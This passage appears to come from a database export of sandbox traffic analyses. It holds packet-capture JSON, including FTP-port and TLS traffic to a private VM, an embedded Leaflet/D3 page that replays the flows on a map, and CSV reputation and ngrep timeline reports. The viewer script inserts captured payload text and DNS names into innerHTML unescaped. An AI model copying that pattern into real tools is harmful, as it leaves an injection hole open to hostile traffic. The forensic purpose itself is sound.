\\u001ehttp://r13.c.lencr.org/106.crl0\\u0001\\u000b\\u0006\\n+\\u0006\\u0001\\u0004\\u0001y\\u0002\\u0004\\u0002\\u0004\\u0004\\u0000\\u0000}\\u0000q~8mI=1Zb\\bv-B\\u0000\\u0005\\fga\\u0000\\u0000\\u0001B;\\u0000\\b\\u0000\\u0000\\u0005\\u0000\\r\\u0011y\\u0004\\u0003\\u0000F0D\\u0002 GR|5%`'m\\u00123}\\u00016e&\\u0002 \\u001d(f\\u000eFk\\u001dgef\\\"ZY.S\\u0002\\u0000v\\u0000nh\\u0007~f5?7\\u0003<A\\u0012\\u0014\\u00181#\\u0004\\u0000\\u0000\\u0001B<.\\u0000\\u0000\\u0004\\u0003\\u0000G0E\\u0002 \\u001a\\u001c\\u0010\\tw\\u0007\\u0014L(pa\\u0018va@f~\\u0016\\u0001=\\u0002!\\u0000O\\tL[&*.a4k\\u001bLS0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000[V\\bbxAd5>{\\t|\\u001cdY g[4|r\\b3A\\f8Rk$mAn64\\u0012x(\\u001d%<lWH\\u000b\\u007fP\\u001aT_c(\\u0011\\u001c\\u001b(3_T\\u000bw:;\\u001f\\u0010S\\u0019i4Zj\\u007f502\\u000f% yfSAm\\u0018\\u0016_ '\\r^#4]t)\\u0001C\\u001cG!.!\\u0010\\u0000jURz\\u00034Ev\\u0019|\\u007f\\r@\\u000b4U\\u0016B9&_7\\u00154\\u001fsb\\u00054+P\\u0006\\u0000\\u0005\\t0\\u0005\\u00050\\u0002\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010Z\\u0000\\u0012AW)\\u00050\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u00000O1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1)0'\\u0006\\u0003U\\u0004\\n\\u0013 Internet Security Research Group1\\u00150\\u0013\\u0006\\u0003U\\u0004\\u0003\\u0013\\fISRG Root X10\\u001e\\u0017\\r240313000000Z\\u0017\\r270312235959Z031\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00160\\u0014\\u0006\\u0003U\\u0004\\n\\u0013\\rLet's Encrypt1\\f0\\n\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0003R130\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000gpVd\\u0015\\u0017a\\u0006\\u0019&P7\\u0016cT\\u0005\\b\\u001b`QCH}+H-';W\\u000e\\u000e0o2>XN5oEXhq\\u0017>]/Ql\\u001a]Y5e\\u00107]I\\u00174+q,\\f\\u001d\\u0005^|\\u0001\\u0003\\n]{vBpM\\\"\\u0000wo_\\u0017u.W\\f\\\\shtu~\\u0010\\u00018\\nDI5\\n4\\u001cGN\\u000e\\n6GO)\\u0004u\\\\^CJ\\u0017\\u0005\\u0001\\u000402\\u0002\\u0003\\u0001\\u0000\\u000100\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0002\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014\\u000f,3S^Ox\\u000e;30\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014yY{\\u0001s\\b\\u001aXn02\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004&0$0\\\"\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002\\u0016http://x1.i.lencr.org/0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010'\\u0006\\u0003U\\u001d\\u001f\\u0004 0\\u001e0\\u001c\\u001a\\u0018\\u0016http://x1.c.lencr.org/0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000Q7XR\\\"5M\\tT\\u0018\\u007f;pre }\\bCr/^#|\\u000fz\\roq\\u0014\\\"\\u0001u\\\\W*\\u001fpMp?k7hEL'd~Z@(;\\\\\\u0004nm\\u000b8Yn/4\\f\\u0010\\u0010+\\u0000z~\\u0004ar|4\\\"0P\\\"d\\n\\u0004\\u0010\\u0007C\\\"\\u0015m2\\u0002%\\u0002\\u001a,o\\u000e4Ie\\u0007\\u001bpZ\\b\\t[5\\u0018,Jul^hD*U;A+oh\\\\[~\\u0018\\tQ^Zh\\u0019\\u007f5Zk-}LcS^XiS$}s\\u001dd|\\bdlo*\\u0003\\u001b\\tDi+Pqu%^IZ\\u000b8FriqTA_U\\u00006H=\\u0011#--+gbDCKH]pmEx[7[\\u0018U\\u0018E[V+\\t-\\nPw--g!*Y%4\\u001daJGVn|!w\\u001d\\u0016\\u0003\\u0003\\u0001,\\f\\u0000\\u0001(\\u0003\\u0000\\u001d qP\\u0003OlG(}\\\\w\\\"Bd\\u001diX|DTJ\\b\\u0004\\u0001\\u0000&B)\\u0006SaK\\u0015ovTN[*1<O\\\"S3x\\u0006N@r&4Ldw\\u0013dS>\\u00012zv\\f,\\u0006u5\\u0010B{\\u000b f\\u0004\\u0018.[>kg{{R\\u0007gQQ\\u001crC+\\u001da\\\"o\\u0014;=szI\\u0018v\\tul\\u000bD<F$&>\\u0001\\u001b8&Eg'N\\u0014t\\u0000<\\rj D\\u001e\\u0003\\u0011\\u0016i\\u001e:o#/Ty.J?\\u0018\\nu\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 65, \"timestamp\": 1777213881.660223, \"timestamp_iso\": \"2026-04-26T20:01:21.660223\", \"timestamp_human\": \"2026-04-26 20:01:21.660\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37374, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118838, \"tcp_ack\": 4242043240, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 66, \"timestamp\": 1777213882.043482, \"timestamp_iso\": \"2026-04-26T20:01:22.043482\", \"timestamp_human\": \"2026-04-26 20:01:22.043\", \"size\": 105, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37375, \"ip_len\": 91, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118838, \"tcp_ack\": 4242043240, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 51, \"payload_preview\": \"1403030001011603030028e006c7a13676422a4e4cd16f04ff413b60801e76351b9d130db34970a953918fe57ed120bd8d4cb1\", \"payload_ascii\": \"\\u0014\\u0003\\u0003\\u0000\\u0001\\u0001\\u0016\\u0003\\u0003\\u0000(\\u00066vB*NLo\\u0004A;`\\u001ev5\\u001b\\u0013\\rIpS~ L\"}, {\"packet_number\": 69, \"timestamp\": 1777213882.174345, \"timestamp_iso\": \"2026-04-26T20:01:22.174345\", \"timestamp_human\": \"2026-04-26 20:01:22.174\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37376, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118889, \"tcp_ack\": 4242043294, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 70, \"timestamp\": 1777213882.551505, \"timestamp_iso\": \"2026-04-26T20:01:22.551505\", \"timestamp_human\": \"2026-04-26 20:01:22.551\", \"size\": 134, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37377, \"ip_len\": 120, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118889, \"tcp_ack\": 4242043294, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 80, \"payload_preview\": \"170303004be006c7a13676422b4f695ff1e0520dcf87c65033ea69e0c7e73dd153305f40a05d6c07ad13a076faf11a03a6b5fe5ed8eadc834c520b64eb4d961a90d53e62935d50dec12889f78d6dd3dd\", \"payload_ascii\": \"\\u0017\\u0003\\u0003\\u0000K\\u00066vB+Oi_R\\rP3i=S0_@]l\\u0007\\u0013v\\u001a\\u0003^LR\\u000bdM\\u001a>b]P(m\"}, {\"packet_number\": 72, \"timestamp\": 1777213882.552008, \"timestamp_iso\": \"2026-04-26T20:01:22.552008\", \"timestamp_human\": \"2026-04-26 20:01:22.552\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37378, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118969, \"tcp_ack\": 4242043343, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 73, \"timestamp\": 1777213882.99833, \"timestamp_iso\": \"2026-04-26T20:01:22.998330\", \"timestamp_human\": \"2026-04-26 20:01:22.998\", \"size\": 128, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37379, \"ip_len\": 114, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028118969, \"tcp_ack\": 4242043343, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 74, \"payload_preview\": \"1703030045e006c7a13676422c299b62fd76da848aaf62324a7b63639575433cdf5e3ab18c05b6bf05546d3babb23741e709e250d64875a3a589bb4aa31c49c348c1cf14fd717e8223c8\", \"payload_ascii\": \"\\u0017\\u0003\\u0003\\u0000E\\u00066vB,)bvb2J{ccuC<^:\\u0005\\u0005Tm;7A\\tPHuJ\\u001cIH\\u0014q~#\"}, {\"packet_number\": 74, \"timestamp\": 1777213882.99836, \"timestamp_iso\": \"2026-04-26T20:01:22.998360\", \"timestamp_human\": \"2026-04-26 20:01:22.998\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 37380, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028119043, \"tcp_ack\": 4242043343, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1777213883.009517, \"timestamp_iso\": \"2026-04-26T20:01:23.009517\", \"timestamp_human\": \"2026-04-26 20:01:23.009\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"91.213.188.9\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 21, \"dst_port\": 50578, \"tcp_seq\": 4028119044, \"tcp_ack\": 4242043344, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 14, \"PSH\": 6, \"FIN\": 1}, \"packet_sizes\": [66, 374, 54, 72, 54, 3061, 54, 105, 54, 134, 54, 128, 54, 54], \"inter_packet_intervals\": [10.763778924942017, 0.0004210472106933594, 0.43105506896972656, 0.013991832733154297, 0.3990051746368408, 0.040411949157714844, 0.3832590579986572, 0.13086295127868652, 0.37716007232666016, 0.0005028247833251953, 0.4463222026824951, 2.9802322387695312e-05, 0.011157035827636719], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 12.997957944869995, \"avg_packet_size\": 308.42857142857144, \"packets_per_second\": 1.0770922678300778, \"bytes_per_second\": 332.2060294635911, \"min_packet_size\": 54, \"max_packet_size\": 3061, \"median_packet_size\": 66, \"avg_interval\": 0.9998429188361535, \"min_interval\": 2.9802322387695312e-05, \"max_interval\": 10.763778924942017}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69edd82659a6632dae07de35"},"sha256":"2aa5ce3561dc657a157460383c7c9b8db54ac8a6969627009c8d1062316a6130","timestamp":{"$date":"2026-04-29T19:32:32.448Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\nwww.vianware.com,200.58.112.73,HTTP Host,0/70,Neutral,No,External\nhttp://www.vianware.com,200.58.112.73,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_c6cem_9s.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #5\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #6\n...................t....\n.%i...W 